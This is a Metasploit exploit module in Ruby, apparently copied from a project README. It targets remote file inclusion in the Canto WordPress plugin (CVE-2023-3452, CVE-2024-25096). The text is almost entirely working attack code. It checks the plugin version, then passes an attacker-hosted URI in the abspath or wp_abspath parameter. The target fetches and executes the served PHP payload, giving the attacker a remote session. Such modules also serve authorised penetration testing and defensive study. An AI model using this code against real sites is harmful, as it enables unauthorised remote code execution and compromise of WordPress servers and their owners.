README.md
Rendering markdown...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
Rank = GreatRanking
HttpFingerprint = {
pattern: [
/wp-admin|wp-includes|wp-content|wordpress/i
]
}
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Canto Plugin abspath/wp_abspath File Include RCE',
'Description' => %q{
This module exploits an input validation vulnerability in the Canto
WordPress plugin where user controlled parameters (`abspath` and
`wp_abspath`) are passed to `include_once` or `require_once` without
proper sanitization. This allows remote file inclusion and remote
code execution when PHP is configured with allow_url_include enabled.
Requirements:
- Canto plugin version <= 3.0.6
- PHP with `allow_url_include` enabled
The vulnerable files are located in `canto/includes/lib/`.
Affected files include:
- tree.php (wp_abspath)
- get.php (wp_abspath)
- download.php (wp_abspath)
- detail.php (wp_abspath)
- sizes.php (abspath)
- copy-media.php (abspath)
},
'License' => MSF_LICENSE,
'Author' => [ 'puppetm4ster' ],
'References' => [
['CVE', '2023-3452'],
['CVE', '2024-25096'],
[ 'URL', 'https://www.rapid7.com/db/vulnerabilities/canto-plugin-cve-2024-25096/' ]
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
[
'WordPress Plugin <= 3.0.6',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'Payload' => {
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => '2023-08-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to cantos root directory', '/wp-content/plugins/canto']),
OptInt.new('RPORT', [true, 'Port', 80]),
OptBool.new('SSL', [true, 'Use SSL', false]),
OptString.new('TARGETFILE', [true, 'Vulnerable PHP file', 'get.php']) # tree.php get.php download.php detail.php
]
)
end
def check
proto = datastore['SSL'] ? 'https://' : 'http://'
check_ver = "#{datastore['TARGETURI']}/readme.txt"
print_status("checking canto version number in: #{proto}#{rhost}:#{datastore['RPORT']}#{check_ver}")
res_ver = send_request_cgi({ # canto version
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'readme.txt')
})
res_tar = send_request_cgi({ # confirmation of vulnerable file
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'includes', 'lib', datastore['TARGETFILE'])
})
if res_ver && res_ver.code == 200 # if http response is not empty
version = res_ver.body[/Stable tag:\s*([\d.]+)/, 1] # grab version number
return CheckCode::Detected('Version not found') unless version
print_status("version is: #{version}")
if Rex::Version.new(version) <= Rex::Version.new('3.0.6') # if canto version is vulnerable
return CheckCode::Unknown unless res_tar
if [404, 410].include?(res_tar.code) # target file does not appear to be on the server
return CheckCode::Safe("File not present (#{res_tar.code})")
end
if [200, 500].include?(res_tar.code) # target file is probably reachable
return CheckCode::Appears("Reachable (#{res_tar.code})")
end
return CheckCode::Detected("Server error but reachable (#{res_tar.code})")
else
return CheckCode::Safe
end
else
print_status("#{rhost} cannot be reached")
CheckCode::Unknown
end
end
def exploit
print_status('Starting HTTP server...')
start_service
param = case datastore['TARGETFILE']
when 'tree.php', 'get.php', 'download.php', 'detail.php'
'wp_abspath'
else
'abspath'
end
print_status('Triggering RFI...')
method = datastore['TARGETFILE'] == 'copy-media.php' ? 'POST' : 'GET'
send_request_cgi({
'method' => method,
'uri' => normalize_uri(target_uri.path, 'includes', 'lib', datastore['TARGETFILE']),
method == 'POST' ? 'vars_post' : 'vars_get' => {
param => get_uri
}
})
# Rex.sleep(5)
handler
end
def on_request_uri(cli, request)
if request.uri =~ /admin\.php|image\.php/
print_status('Sending admin.php payload')
send_response(cli,
payload.encoded,
'Content-Type' => 'application/x-httpd-php')
else
send_not_found(cli)
end
end
end